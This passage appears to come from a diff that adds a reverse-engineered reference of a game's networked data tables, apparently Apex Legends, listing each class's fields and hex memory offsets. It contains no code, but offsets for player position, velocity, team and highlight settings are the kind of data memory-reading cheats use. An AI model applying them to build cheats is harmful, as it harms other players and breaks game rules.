+class DT_EnvWindShared + +``` +{ + m_flStartTime: Time, + m_iWindSeed: Int, + m_iMinWind: Int, + m_iMaxWind: Int, + m_iMinGust: Int, + m_iMaxGust: Int, + m_flMinGustDelay: Float, + m_flMaxGustDelay: Float, + m_flGustDuration: Float, + m_iGustDirChange: Int, + m_iInitialWindDir: Int, + m_flInitialWindSpeed: Float, +} +``` + +### Offsets + +``` +DT_EnvWindShared!0x0008 m_flStartTime +DT_EnvWindShared!0x000c m_iWindSeed +DT_EnvWindShared!0x0010 m_iMinWind +DT_EnvWindShared!0x0014 m_iMaxWind +DT_EnvWindShared!0x001c m_iMinGust +DT_EnvWindShared!0x0020 m_iMaxGust +DT_EnvWindShared!0x0024 m_flMinGustDelay +DT_EnvWindShared!0x0028 m_flMaxGustDelay +DT_EnvWindShared!0x002c m_flGustDuration +DT_EnvWindShared!0x0030 m_iGustDirChange +DT_EnvWindShared!0x0070 m_iInitialWindDir +DT_EnvWindShared!0x0074 m_flInitialWindSpeed +``` +
+
+class DT_FuncBrushLightweight + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, +} +``` + +### Offsets + +``` +DT_FuncBrushLightweight!0x001c moveparent +DT_FuncBrushLightweight!0x0020 m_parentAttachmentType +DT_FuncBrushLightweight!0x0024 m_parentAttachmentIndex +DT_FuncBrushLightweight!0x004c m_cellX +DT_FuncBrushLightweight!0x0050 m_cellY +DT_FuncBrushLightweight!0x0054 m_cellZ +DT_FuncBrushLightweight!0x0058 m_localOrigin +DT_FuncBrushLightweight!0x0064 m_nModelIndex +DT_FuncBrushLightweight!0x03d4 m_networkedFlags +DT_FuncBrushLightweight!0x0428 m_visibilityFlags +DT_FuncBrushLightweight!0x046c m_localAngles +DT_FuncBrushLightweight!0x0498 m_Collision +DT_FuncBrushLightweight!0x0518 m_CollisionGroup +DT_FuncBrushLightweight!0x0834 m_parentAttachmentHitbox +DT_FuncBrushLightweight!0x0838 m_parentAttachmentModel +``` +
+
+class DT_GlobalNonRewinding + +``` +{ + m_playerObserver: DataTable, + m_playerMiscData: DataTable, +} +``` + +### Offsets + +``` +DT_GlobalNonRewinding!0x0a40 m_playerObserver +DT_GlobalNonRewinding!0x0e40 m_playerMiscData +``` +
+
+class DT_GrappleData + +``` +{ + m_grapplePoints: Array, + m_grappleVel: Vector, + m_grapplePoints[0]: Vector, + m_grapplePointCount: Int, + m_grappleAttached: Int, + m_grapplePulling: Int, + m_grappleSwinging: Int, + m_grappleRetracting: Int, + m_grappleForcedRetracting: Int, + m_grappleGracePeriodFinished: Int, + m_grappleUsedPower: Float, + m_grappleActivateTime: Time, + m_grapplePullTime: Time, + m_grappleAttachTime: Time, + m_grappleDetachTime: Time, + m_grappleMeleeTarget: Int, + m_grappleAutoAimTarget: Int, + m_grappleHasGoodVelocity: Int, + m_grappleLastGoodVelocityTime: Time, + m_grappleSwingDetachLowSpeed: Float, + m_grappleSwingHoldTime: Time, +} +``` + +### Offsets + +``` +DT_GrappleData!0x0000 m_grapplePoints +DT_GrappleData!0x0008 m_grappleVel +DT_GrappleData!0x0014 m_grapplePoints[0] +DT_GrappleData!0x0044 m_grapplePointCount +DT_GrappleData!0x0048 m_grappleAttached +DT_GrappleData!0x0049 m_grapplePulling +DT_GrappleData!0x004a m_grappleSwinging +DT_GrappleData!0x004b m_grappleRetracting +DT_GrappleData!0x004c m_grappleForcedRetracting +DT_GrappleData!0x004d m_grappleGracePeriodFinished +DT_GrappleData!0x0050 m_grappleUsedPower +DT_GrappleData!0x0054 m_grappleActivateTime +DT_GrappleData!0x0058 m_grapplePullTime +DT_GrappleData!0x005c m_grappleAttachTime +DT_GrappleData!0x0060 m_grappleDetachTime +DT_GrappleData!0x0064 m_grappleMeleeTarget +DT_GrappleData!0x0068 m_grappleAutoAimTarget +DT_GrappleData!0x006c m_grappleHasGoodVelocity +DT_GrappleData!0x0070 m_grappleLastGoodVelocityTime +DT_GrappleData!0x0074 m_grappleSwingDetachLowSpeed +DT_GrappleData!0x0078 m_grappleSwingHoldTime +``` +
+
+class DT_GrappleHook + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_parentAttachmentHitbox: Int, + m_realmsBitMask: BitMask, + m_grappleZipline: Int, +} +``` + +### Offsets + +``` +DT_GrappleHook!0x001c moveparent +DT_GrappleHook!0x0020 m_parentAttachmentType +DT_GrappleHook!0x0024 m_parentAttachmentIndex +DT_GrappleHook!0x004c m_cellX +DT_GrappleHook!0x0050 m_cellY +DT_GrappleHook!0x0054 m_cellZ +DT_GrappleHook!0x0058 m_localOrigin +DT_GrappleHook!0x0064 m_nModelIndex +DT_GrappleHook!0x0428 m_visibilityFlags +DT_GrappleHook!0x046c m_localAngles +DT_GrappleHook!0x0480 m_hOwnerEntity +DT_GrappleHook!0x0834 m_parentAttachmentHitbox +DT_GrappleHook!0x0a28 m_realmsBitMask +DT_GrappleHook!0x1600 m_grappleZipline +``` +
+
+class DT_HardPointEntity + +``` +{ + m_localOrigin: Vector, + m_iTeamNum: Int, + m_minimapData: DT_MinimapBaseEntityData, + m_state: Int, + m_estimatedCaptureTime: Float, + m_progressRefPoint: Float, + m_teamMilitiaAICount: Int, + m_teamIMCAICount: Int, + m_teamMilitiaPlayerCount: Int, + m_teamIMCPlayerCount: Int, + m_teamMilitiaPlayerTitanCount: Int, + m_teamIMCPlayerTitanCount: Int, + m_hardpointID: Int, + m_terminal: Int, +} +``` + +### Offsets + +``` +DT_HardPointEntity!0x0004 m_localOrigin +DT_HardPointEntity!0x0430 m_iTeamNum +DT_HardPointEntity!0x0948 m_minimapData +DT_HardPointEntity!0x0a44 m_state +DT_HardPointEntity!0x0a48 m_estimatedCaptureTime +DT_HardPointEntity!0x0a4c m_progressRefPoint +DT_HardPointEntity!0x0a50 m_teamMilitiaAICount +DT_HardPointEntity!0x0a54 m_teamIMCAICount +DT_HardPointEntity!0x0a58 m_teamMilitiaPlayerCount +DT_HardPointEntity!0x0a5c m_teamIMCPlayerCount +DT_HardPointEntity!0x0a60 m_teamMilitiaPlayerTitanCount +DT_HardPointEntity!0x0a64 m_teamIMCPlayerTitanCount +DT_HardPointEntity!0x0a68 m_hardpointID +DT_HardPointEntity!0x0a70 m_terminal +``` +
+
+class DT_HighlightSettings + +``` +{ + m_highlightParams: DataTable, + m_highlightFunctionBits: DataTable, + m_highlightServerFadeBases: DataTable, + m_highlightServerFadeStartTimes: DataTable, + m_highlightServerFadeEndTimes: DataTable, + m_highlightServerContextID: Int, + m_highlightTeamBits: Int, +} +``` + +### Offsets + +``` +DT_HighlightSettings!0x01b8 m_highlightParams +DT_HighlightSettings!0x02a8 m_highlightFunctionBits +DT_HighlightSettings!0x02f8 m_highlightServerFadeBases +DT_HighlightSettings!0x0300 m_highlightServerFadeStartTimes +DT_HighlightSettings!0x0308 m_highlightServerFadeEndTimes +DT_HighlightSettings!0x0348 m_highlightServerContextID +DT_HighlightSettings!0x0354 m_highlightTeamBits +``` +
+
+class DT_ImportantOnEntSound extends DT_BaseEntity + +``` +{ + m_networkTableSoundID: Int, + m_hAttachedToEntity: Int, + m_beginTime: Time, + m_hSuppressedClient: Int, + m_milesSignal: Int, +} +``` + +### Offsets + +``` +DT_ImportantOnEntSound!0x0a40 m_networkTableSoundID +DT_ImportantOnEntSound!0x0a44 m_hAttachedToEntity +DT_ImportantOnEntSound!0x0a48 m_beginTime +DT_ImportantOnEntSound!0x0a4c m_hSuppressedClient +DT_ImportantOnEntSound!0x0a50 m_milesSignal +``` +
+
+class DT_InfoPlacementHelper + +``` +{ + m_localOrigin: Vector, + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_localAngles: Vector, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, +} +``` + +### Offsets + +``` +DT_InfoPlacementHelper!0x0004 m_localOrigin +DT_InfoPlacementHelper!0x001c moveparent +DT_InfoPlacementHelper!0x0020 m_parentAttachmentType +DT_InfoPlacementHelper!0x0024 m_parentAttachmentIndex +DT_InfoPlacementHelper!0x046c m_localAngles +DT_InfoPlacementHelper!0x0834 m_parentAttachmentHitbox +DT_InfoPlacementHelper!0x0838 m_parentAttachmentModel +``` +
+
+class DT_InfoTarget + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_bIsSoundCodeControllerValueSet: Int, + m_flSoundCodeControllerValue: Float, + m_iTeamNum: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_iSignifierName: String, + m_iName: String, + m_scriptNameIndex: Int, + m_instanceNameIndex: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_firstChildEntityLink: Int, + m_firstParentEntityLink: Int, +} +``` + +### Offsets + +``` +DT_InfoTarget!0x001c moveparent +DT_InfoTarget!0x0020 m_parentAttachmentType +DT_InfoTarget!0x0024 m_parentAttachmentIndex +DT_InfoTarget!0x004c m_cellX +DT_InfoTarget!0x0050 m_cellY +DT_InfoTarget!0x0054 m_cellZ +DT_InfoTarget!0x0058 m_localOrigin +DT_InfoTarget!0x03cc m_bIsSoundCodeControllerValueSet +DT_InfoTarget!0x03d0 m_flSoundCodeControllerValue +DT_InfoTarget!0x0430 m_iTeamNum +DT_InfoTarget!0x046c m_localAngles +DT_InfoTarget!0x0480 m_hOwnerEntity +DT_InfoTarget!0x0558 m_iSignifierName +DT_InfoTarget!0x0561 m_iName +DT_InfoTarget!0x0668 m_scriptNameIndex +DT_InfoTarget!0x066c m_instanceNameIndex +DT_InfoTarget!0x0834 m_parentAttachmentHitbox +DT_InfoTarget!0x0838 m_parentAttachmentModel +DT_InfoTarget!0x0a20 m_firstChildEntityLink +DT_InfoTarget!0x0a24 m_firstParentEntityLink +``` +
+
+class DT_Local + +``` +{ + m_airMoveBlockPlanes: Array, + m_iHideHUD: Int, + m_superJumpsUsed: Int, + m_jumpedOffRodeo: Int, + m_jumpPressTime: Time, + m_jetpackActivateTime: Time, + m_jetpackDeactivateTime: Time, + m_flSuitPower: Float, + m_flSuitJumpPower: Float, + m_flSuitGrapplePower: Float, + m_flFallVelocity: Float, + m_flStepSize: Float, + m_airSlowMoFrac: Float, + predictableFlags: Int, + m_bitsActiveDevices: Int, + m_forceStance: Int, + m_duckToggleOn: Int, + m_bDrawViewmodel: Int, + m_bAllowAutoMovement: Int, + m_accelScale: Float, + m_powerRegenRateScale: Float, + m_dodgePowerDelayScale: Float, + m_hSkyCamera: Int, + m_skybox3d.scale: Int, + m_skybox3d.useWorldFog: Int, + m_skybox3d.fog.botAlt: Float, + m_skybox3d.fog.topAlt: Float, + m_skybox3d.fog.halfDistBot: Float, + m_skybox3d.fog.halfDistTop: Float, + m_skybox3d.fog.distColorStr: Float, + m_skybox3d.fog.dirColorStr: Float, + m_skybox3d.fog.distOffset: Float, + m_skybox3d.fog.densityScale: Float, + m_skybox3d.fog.halfAngleDeg: Float, + m_skybox3d.fog.HDRColorScale: Float, + m_skybox3d.fog.distColor: Int, + m_skybox3d.fog.dirColor: Int, + m_skybox3d.fog.direction: Vector, + m_skybox3d.fog.enable: Int, + m_audio.localSound[0]: Vector, + m_audio.localSound[1]: Vector, + m_audio.localSound[2]: Vector, + m_audio.localSound[3]: Vector, + m_audio.localSound[4]: Vector, + m_audio.localSound[5]: Vector, + m_audio.localSound[6]: Vector, + m_audio.localSound[7]: Vector, + m_audio.soundscapeIndex: Int, + m_audio.localBits: Int, + m_audio.entIndex: Int, + m_animNearZ: Float, + lastAttacker: Int, + attackedCount: Int, + m_airMoveBlockPlanes[0]: Vector, + m_airMoveBlockPlaneTime: Time, + m_airMoveBlockPlaneCount: Int, + m_queuedMeleePressTime: Time, + m_queuedGrappleMeleeTime: Time, + m_disableMeleeUntilRelease: Int, + m_meleePressTime: Time, + m_meleeDisabledCounter: Int, + m_meleeInputIndex: Int, + m_trackedChildProjectileCount: Int, + m_oneHandedWeaponUsage: Int, + m_flCockpitEntryTime: Time, + m_ejectStartTime: Time, + m_disembarkStartTime: Time, + m_hotDropImpactTime: Time, + m_outOfBoundsDeadTime: Time, + m_objectiveIndex: Int, + m_objectiveEntity: Int, + m_objectiveEndTime: Time, + m_cinematicEventFlags: Int, + m_forcedDialogueOnly: Int, + m_titanBuildTime: Time, + m_titanBubbleShieldTime: Time, + m_titanEmbarkEnabled: Int, + m_titanDisembarkEnabled: Int, + m_voicePackIndex: Int, + m_playerAnimStationaryGoalFeetYaw: Float, + m_playerAnimJumping: Int, + m_playerAnimJumpStartTime: Time, + m_playerAnimFirstJumpFrame: Int, + m_playerAnimDodging: Int, + m_playerAnimJumpActivity: Int, + m_playerAnimLanding: Int, + m_playerAnimShouldLand: Int, + m_playerAnimLandStartTime: Time, + m_playerAnimInAirWalk: Int, + m_playerAnimPrevFrameSequenceMotionYaw: Float, + m_playerAnimMeleeParity: Int, + m_playerAnimMeleeStartTime: Time, + m_playerLocalGravityBlendStartRotation: Rotation, + m_playerLocalGravityBlendEndRotation: Rotation, + m_playerLocalGravityBlendEndDirection: Vector, + m_playerLocalGravityBlendStartTime: Time, + m_playerLocalGravityBlendEndTime: Time, + m_playerLocalGravityBlendStrength: Float, + m_playerLocalGravityStrength: Float, + m_playerLocalGravityType: Int, + m_playerLocalGravityPoint: Vector, + m_playerLocalGravityLineStart: Vector, + m_playerLocalGravityLineEnd: Vector, + m_playerLocalGravityEntity: Int, + m_playerLocalGravityLineStartEntity: Int, + m_playerLocalGravityLineEndEntity: Int, + m_playerFloatLookStartTime: Time, + m_playerFloatLookEndTime: Time, + m_wallrunLatestFloorHeight: Float, + m_wallrunFromJetpack: Int, + m_groundNormal: Vector, + m_continuousUseBlocked: Int, + m_useEnt: Int, +} +``` + +### Offsets + +``` +DT_Local!0x0000 m_airMoveBlockPlanes +DT_Local!0x0014 m_iHideHUD +DT_Local!0x0018 m_superJumpsUsed +DT_Local!0x001c m_jumpedOffRodeo +DT_Local!0x0020 m_jumpPressTime +DT_Local!0x0024 m_jetpackActivateTime +DT_Local!0x0028 m_jetpackDeactivateTime +DT_Local!0x002c m_flSuitPower +DT_Local!0x0030 m_flSuitJumpPower +DT_Local!0x0034 m_flSuitGrapplePower +DT_Local!0x0038 m_flFallVelocity +DT_Local!0x003c m_flStepSize +DT_Local!0x0040 m_airSlowMoFrac +DT_Local!0x0044 predictableFlags +DT_Local!0x0048 m_bitsActiveDevices +DT_Local!0x004c m_forceStance +DT_Local!0x0050 m_duckToggleOn +DT_Local!0x0051 m_bDrawViewmodel +DT_Local!0x0052 m_bAllowAutoMovement +DT_Local!0x0054 m_accelScale +DT_Local!0x0058 m_powerRegenRateScale +DT_Local!0x005c m_dodgePowerDelayScale +DT_Local!0x0074 m_hSkyCamera +DT_Local!0x0078 m_skybox3d.scale +DT_Local!0x007c m_skybox3d.useWorldFog +DT_Local!0x0080 m_skybox3d.fog.botAlt +DT_Local!0x0084 m_skybox3d.fog.topAlt +DT_Local!0x0088 m_skybox3d.fog.halfDistBot +DT_Local!0x008c m_skybox3d.fog.halfDistTop +DT_Local!0x0090 m_skybox3d.fog.distColorStr +DT_Local!0x0094 m_skybox3d.fog.dirColorStr +DT_Local!0x0098 m_skybox3d.fog.distOffset +DT_Local!0x009c m_skybox3d.fog.densityScale +DT_Local!0x00a0 m_skybox3d.fog.halfAngleDeg +DT_Local!0x00a4 m_skybox3d.fog.HDRColorScale +DT_Local!0x00a8 m_skybox3d.fog.distColor +DT_Local!0x00ac m_skybox3d.fog.dirColor +DT_Local!0x00b0 m_skybox3d.fog.direction +DT_Local!0x00c1 m_skybox3d.fog.enable +DT_Local!0x00c8 m_audio.localSound[0] +DT_Local!0x00d4 m_audio.localSound[1] +DT_Local!0x00e0 m_audio.localSound[2] +DT_Local!0x00ec m_audio.localSound[3] +DT_Local!0x00f8 m_audio.localSound[4] +DT_Local!0x0104 m_audio.localSound[5] +DT_Local!0x0110 m_audio.localSound[6] +DT_Local!0x011c m_audio.localSound[7] +DT_Local!0x0128 m_audio.soundscapeIndex +DT_Local!0x012c m_audio.localBits +DT_Local!0x0130 m_audio.entIndex +DT_Local!0x014c m_animNearZ +DT_Local!0x0150 lastAttacker +DT_Local!0x0154 attackedCount +DT_Local!0x0180 m_airMoveBlockPlanes[0] +DT_Local!0x0198 m_airMoveBlockPlaneTime +DT_Local!0x019c m_airMoveBlockPlaneCount +DT_Local!0x01a0 m_queuedMeleePressTime +DT_Local!0x01a4 m_queuedGrappleMeleeTime +DT_Local!0x01a9 m_disableMeleeUntilRelease +DT_Local!0x01ac m_meleePressTime +DT_Local!0x01b0 m_meleeDisabledCounter +DT_Local!0x01b4 m_meleeInputIndex +DT_Local!0x01b8 m_trackedChildProjectileCount +DT_Local!0x01bc m_oneHandedWeaponUsage +DT_Local!0x01c0 m_flCockpitEntryTime +DT_Local!0x01c4 m_ejectStartTime +DT_Local!0x01c8 m_disembarkStartTime +DT_Local!0x01cc m_hotDropImpactTime +DT_Local!0x01d0 m_outOfBoundsDeadTime +DT_Local!0x01d4 m_objectiveIndex +DT_Local!0x01d8 m_objectiveEntity +DT_Local!0x01dc m_objectiveEndTime +DT_Local!0x01e0 m_cinematicEventFlags +DT_Local!0x01e4 m_forcedDialogueOnly +DT_Local!0x01e8 m_titanBuildTime +DT_Local!0x01ec m_titanBubbleShieldTime +DT_Local!0x01f0 m_titanEmbarkEnabled +DT_Local!0x01f1 m_titanDisembarkEnabled +DT_Local!0x01f4 m_voicePackIndex +DT_Local!0x01f8 m_playerAnimStationaryGoalFeetYaw +DT_Local!0x01fc m_playerAnimJumping +DT_Local!0x0200 m_playerAnimJumpStartTime +DT_Local!0x0204 m_playerAnimFirstJumpFrame +DT_Local!0x0205 m_playerAnimDodging +DT_Local!0x0208 m_playerAnimJumpActivity +DT_Local!0x020c m_playerAnimLanding +DT_Local!0x020d m_playerAnimShouldLand +DT_Local!0x0210 m_playerAnimLandStartTime +DT_Local!0x0214 m_playerAnimInAirWalk +DT_Local!0x0218 m_playerAnimPrevFrameSequenceMotionYaw +DT_Local!0x021c m_playerAnimMeleeParity +DT_Local!0x0220 m_playerAnimMeleeStartTime +DT_Local!0x0254 m_playerLocalGravityBlendStartRotation +DT_Local!0x0264 m_playerLocalGravityBlendEndRotation +DT_Local!0x0274 m_playerLocalGravityBlendEndDirection +DT_Local!0x0280 m_playerLocalGravityBlendStartTime +DT_Local!0x0284 m_playerLocalGravityBlendEndTime +DT_Local!0x0288 m_playerLocalGravityBlendStrength +DT_Local!0x028c m_playerLocalGravityStrength +DT_Local!0x0290 m_playerLocalGravityType +DT_Local!0x0294 m_playerLocalGravityPoint +DT_Local!0x02a0 m_playerLocalGravityLineStart +DT_Local!0x02ac m_playerLocalGravityLineEnd +DT_Local!0x02b8 m_playerLocalGravityEntity +DT_Local!0x02bc m_playerLocalGravityLineStartEntity +DT_Local!0x02c0 m_playerLocalGravityLineEndEntity +DT_Local!0x02c4 m_playerFloatLookStartTime +DT_Local!0x02c8 m_playerFloatLookEndTime +DT_Local!0x02cc m_wallrunLatestFloorHeight +DT_Local!0x02d0 m_wallrunFromJetpack +DT_Local!0x02d4 m_groundNormal +DT_Local!0x02e0 m_continuousUseBlocked +DT_Local!0x02e4 m_useEnt +``` +
+
+class DT_LocalPlayerExclusive + +``` +{ + NearbyPushers: DT_NearbyPushers, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, + m_vecAbsVelocity: Vector, + m_vecBaseVelocity: Vector, + m_vecVelocity.x: Float, + m_vecVelocity.y: Float, + m_vecVelocity.z: Float, + m_flFriction: Float, + m_tethers: DataTable, + m_lastUCmdSimulationTicks: Cycle, + m_lastUCmdSimulationRemainderTime: Float, + m_Local: DT_Local, + m_currentFrameLocalPlayer: DT_CurrentData_LocalPlayer, + m_modInventory: DataTable, + m_consumableInventory: DataTable, + m_fStickySprintMinTime: Float, + m_sprintStartedTime: Time, + m_sprintStartedFrac: Float, + m_sprintEndedTime: Time, + m_sprintEndedFrac: Float, + m_stickySprintStartTime: Time, + m_upDirPredicted: Vector, + m_lastWallRunStartPos: Vector, + m_wallrunFrictionScale: Float, + m_groundFrictionScale: Float, + m_traversalBegin: Vector, + m_traversalMid: Vector, + m_traversalEnd: Vector, + m_traversalMidFrac: Float, + m_traversalForwardDir: Vector, + m_traversalProgress: Float, + m_traversalStartTime: Time, + m_traversalHandAppearTime: Time, + m_traversalReleaseTime: Time, + m_traversalBlendOutStartTime: Time, + m_traversalBlendOutStartOffset: Vector, + m_wallDangleJumpOffTime: Time, + m_wallDangleMayHangHere: Int, + m_wallDangleForceFallOff: Int, + m_wallDangleLastPushedForward: Int, + m_wallDangleDisableWeapon: Int, + m_gravityLiftActive: Int, + m_slowMoEnabled: Int, + m_sliding: Int, + m_slideLongJumpAllowed: Int, + m_bIsStickySprinting: Int, + m_prevMoveYaw: Float, + m_sprintTiltVel: Float, + m_sprintTiltPoseParameter: Int, + m_sprintFracPoseParameter: Int, + m_ziplineAllowed: Int, + m_lastZipline: Int, + m_lastZiplineDetachTime: Time, + m_zipline: DT_PlayerZipline, + m_ziplineViewOffsetPosition: Vector, + m_ziplineViewOffsetVelocity: Vector, + m_ziplineGrenadeEntity: Int, + m_sameZiplineCooldownTime: Float, + m_highSpeedViewmodelAnims: Int, + m_playAnimationType: Int, + m_detachGrappleOnPlayAnimationEnd: Int, + m_playAnimationNext: DataTable, + m_playAnimationEntityBlocker: Int, + m_playAnimationEntityBlockerDucking: Int, + m_boosting: Int, + m_activateBoost: Int, + m_repeatedBoost: Int, + m_boostMeter: Float, + m_jetpack: Int, + m_activateJetpack: Int, + m_jetpackAfterburner: Int, + m_gliding: Int, + m_glideMeter: Float, + m_glideRechargeDelayAccumulator: Float, + m_hovering: Int, + m_lastJumpHeight: Float, + m_touchingUpdraftTriggers: DataTable, + m_touchingUpdraftTriggersCount: Int, + m_touchingSlipTriggers: DataTable, + m_touchingSlipTriggersCount: Int, + m_slipAirRestrictDirection: Vector, + m_slipAirRestrictTime: Time, + m_replayImportantSounds_networkTableSoundID: DataTable, + m_replayImportantSounds_beginTime: DataTable, + m_viewConeActive: Int, + m_viewConeParented: Int, + m_viewConeParity: Int, + m_hConstraintEntity: Int, + m_vecConstraintCenter: Vector, + m_flConstraintRadius: Float, + m_flConstraintWidth: Float, + m_flConstraintSpeedFactor: Float, + m_bConstraintPastRadius: Int, + m_observerModeStaticPosition: Vector, + m_observerModeStaticAngles: Vector, + m_observerModeStaticFOVOverride: Float, + m_lastKillTime: Time, + m_wallRunStartTime: Time, + m_wallRunClearTime: Time, + m_dodging: Int, + m_dodgingInAir: Int, + m_airSpeed: Float, + m_airAcceleration: Float, + m_firstPersonProxy: Int, + m_predictedFirstPersonProxy: Int, + m_hardpointEntity: Int, + m_petTitanMode: Int, + m_hThirdPersonEnt: Int, + m_thirdPersonShoulderView: Int, + m_thirdPerson: DT_ThirdPersonView, + m_playerLookTargetEntity: Int, + m_playerLookTargetOffset: Vector, + m_viewConeLerpTime: Float, + m_flLaggedMovementValue: Float, + m_lastMoveInputTime: Time, + m_ignoreEntityForMovementUntilNotTouching: Int, + m_lungeTargetEntity: Int, + m_isLungingToPosition: Int, + m_lungeTargetPosition: Vector, + m_lungeStartPositionOffset: Vector, + m_lungeEndPositionOffset: Vector, + m_lungeStartTime: Time, + m_lungeEndTime: Time, + m_lungeCanFly: Int, + m_lungeLockPitch: Int, + m_lungeStartPitch: Float, + m_lungeSmoothTime: Float, + m_lungeMaxTime: Float, + m_lungeMaxEndSpeed: Float, + m_nearbyPusherCount: Int, + m_pushAwayFromTopAcceleration: Vector, + m_minimapTargetZoomScale: Float, + m_minimapTargetLerpTime: Time, + m_playerScriptNetDataExclusive: Int, + m_pingOffset: Float, + m_skydiveForwardPoseValueVelocity: Float, + m_skydiveForwardPoseValueCurrent: Float, + m_skydiveSidePoseValueVelocity: Float, + m_skydiveSidePoseValueCurrent: Float, + m_skydiveYawVelocity: Float, + m_skydiveIsNearLeviathan: Int, + m_skydiveStartTime: Time, + m_skydiveEndTime: Time, + m_skydiveAnticipateStartTime: Time, + m_skydiveAnticipateEndTime: Time, + m_skydiveDistanceToLand: Float, + m_skydiveFreelookEnabled: Int, + m_skydiveFreelookLockedAngle: Vector, + m_skydiveFollowing: Int, + m_skydiveUnfollowVelocity: Vector, + m_skydiveLeviathanHitPosition: Vector, + m_skydiveLeviathanHitNormal: Vector, + m_skydiveSlipVelocity: Vector, + m_skydiveFromUpdraft: Int, + m_twitchRewardBits: BitMask, + m_playerKnockBacks: DataTable, + m_updraftCount: Int, + m_updraftStage: Int, + m_updraftEnterTime: Time, + m_updraftLeaveTime: Time, + m_updraftMinShakeActivationHeight: Float, + m_updraftMaxShakeActivationHeight: Float, + m_updraftLiftActivationHeight: Float, + m_updraftLiftSpeed: Float, + m_updraftLiftAcceleration: Float, + m_updraftLiftExitDuration: Float, + m_updraftSlowTime: Time, + m_armsModelIndex: Int, + m_deathFieldIndex: Int, +} +``` + +### Offsets + +``` +DT_LocalPlayerExclusive!0x0000 NearbyPushers +DT_LocalPlayerExclusive!0x0004 m_localOrigin +DT_LocalPlayerExclusive!0x000c m_localOrigin.z +DT_LocalPlayerExclusive!0x0140 m_vecAbsVelocity +DT_LocalPlayerExclusive!0x0410 m_vecBaseVelocity +DT_LocalPlayerExclusive!0x0460 m_vecVelocity.x +DT_LocalPlayerExclusive!0x0464 m_vecVelocity.y +DT_LocalPlayerExclusive!0x0468 m_vecVelocity.z +DT_LocalPlayerExclusive!0x0478 m_flFriction +DT_LocalPlayerExclusive!0x1b3c m_tethers +DT_LocalPlayerExclusive!0x1c14 m_lastUCmdSimulationTicks +DT_LocalPlayerExclusive!0x1c18 m_lastUCmdSimulationRemainderTime +DT_LocalPlayerExclusive!0x1d38 m_Local +DT_LocalPlayerExclusive!0x21f0 m_currentFrameLocalPlayer +DT_LocalPlayerExclusive!0x252c m_modInventory +DT_LocalPlayerExclusive!0x25ac m_consumableInventory +DT_LocalPlayerExclusive!0x28c0 m_fStickySprintMinTime +DT_LocalPlayerExclusive!0x28dc m_sprintStartedTime +DT_LocalPlayerExclusive!0x28e0 m_sprintStartedFrac +DT_LocalPlayerExclusive!0x28e4 m_sprintEndedTime +DT_LocalPlayerExclusive!0x28e8 m_sprintEndedFrac +DT_LocalPlayerExclusive!0x28ec m_stickySprintStartTime +DT_LocalPlayerExclusive!0x295c m_upDirPredicted +DT_LocalPlayerExclusive!0x2968 m_lastWallRunStartPos +DT_LocalPlayerExclusive!0x298c m_wallrunFrictionScale +DT_LocalPlayerExclusive!0x2990 m_groundFrictionScale +DT_LocalPlayerExclusive!0x29d4 m_traversalBegin +DT_LocalPlayerExclusive!0x29e0 m_traversalMid +DT_LocalPlayerExclusive!0x29ec m_traversalEnd +DT_LocalPlayerExclusive!0x29f8 m_traversalMidFrac +DT_LocalPlayerExclusive!0x29fc m_traversalForwardDir +DT_LocalPlayerExclusive!0x2a14 m_traversalProgress +DT_LocalPlayerExclusive!0x2a18 m_traversalStartTime +DT_LocalPlayerExclusive!0x2a1c m_traversalHandAppearTime +DT_LocalPlayerExclusive!0x2a20 m_traversalReleaseTime +DT_LocalPlayerExclusive!0x2a24 m_traversalBlendOutStartTime +DT_LocalPlayerExclusive!0x2a28 m_traversalBlendOutStartOffset +DT_LocalPlayerExclusive!0x2a40 m_wallDangleJumpOffTime +DT_LocalPlayerExclusive!0x2a44 m_wallDangleMayHangHere +DT_LocalPlayerExclusive!0x2a45 m_wallDangleForceFallOff +DT_LocalPlayerExclusive!0x2a46 m_wallDangleLastPushedForward +DT_LocalPlayerExclusive!0x2a48 m_wallDangleDisableWeapon +DT_LocalPlayerExclusive!0x2a52 m_gravityLiftActive +DT_LocalPlayerExclusive!0x2b14 m_slowMoEnabled +DT_LocalPlayerExclusive!0x2b15 m_sliding +DT_LocalPlayerExclusive!0x2b16 m_slideLongJumpAllowed +DT_LocalPlayerExclusive!0x2b24 m_bIsStickySprinting +DT_LocalPlayerExclusive!0x2b28 m_prevMoveYaw +DT_LocalPlayerExclusive!0x2b2c m_sprintTiltVel +DT_LocalPlayerExclusive!0x2b30 m_sprintTiltPoseParameter +DT_LocalPlayerExclusive!0x2b34 m_sprintFracPoseParameter +DT_LocalPlayerExclusive!0x2c9c m_ziplineAllowed +DT_LocalPlayerExclusive!0x2ca4 m_lastZipline +DT_LocalPlayerExclusive!0x2ca8 m_lastZiplineDetachTime +DT_LocalPlayerExclusive!0x2cb8 m_zipline +DT_LocalPlayerExclusive!0x2d28 m_ziplineViewOffsetPosition +DT_LocalPlayerExclusive!0x2d34 m_ziplineViewOffsetVelocity +DT_LocalPlayerExclusive!0x2d40 m_ziplineGrenadeEntity +DT_LocalPlayerExclusive!0x2d50 m_sameZiplineCooldownTime +DT_LocalPlayerExclusive!0x2d54 m_highSpeedViewmodelAnims +DT_LocalPlayerExclusive!0x2d58 m_playAnimationType +DT_LocalPlayerExclusive!0x2d5c m_detachGrappleOnPlayAnimationEnd +DT_LocalPlayerExclusive!0x2d60 m_playAnimationNext 